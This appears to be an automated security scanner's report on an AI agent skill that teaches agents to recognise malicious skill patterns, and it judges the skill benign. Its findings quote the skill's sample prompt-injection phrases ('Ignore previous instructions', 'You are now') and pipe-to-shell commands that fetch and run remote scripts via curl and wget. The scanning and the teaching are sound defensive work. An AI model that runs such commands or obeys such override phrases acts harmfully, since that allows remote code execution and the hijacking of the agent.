Caveat verdict
agent-security-patterns
security-awareness-skill
Reads local files AND makes external network calls
Security education skill teaching AI agents to recognize malicious skill patterns like prompt injection and external fetch attacks; the content actively promotes security awareness and contains no malicious behavior.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
What it does
These are capability combinations: each listed behavior occurs in the skill, but Caveat detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.
Reads local files AND makes external network calls — the capabilities for data exfiltration co-occur (data-flow not verified)
LLM02 · LLM06 · ASI03
Accesses credentials AND makes external network calls — potential credential theft
LLM02 · ASI03
Permission integrity
network_out
file_read
credential_access
Findings (6)
Prompt injection — tries to override agent instructions
SKILL.md · code · Ignore previous instructions
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
SKILL.md · code · curl https://example.com/script.sh | bash
Pipe-to-shell pattern (wget | sh)
SKILL.md · code · wget https://example.com/install.sh -O - | sh
Pipe to bash — executes piped content as shell commands
SKILL.md · code · | bash
Pipe to sh — executes piped content as shell commands
SKILL.md · code · | sh
Possible prompt injection — attempts to redefine agent identity
SKILL.md · code · You are now
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/B). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
network_outcredential_accessfile_read Thanks — recorded.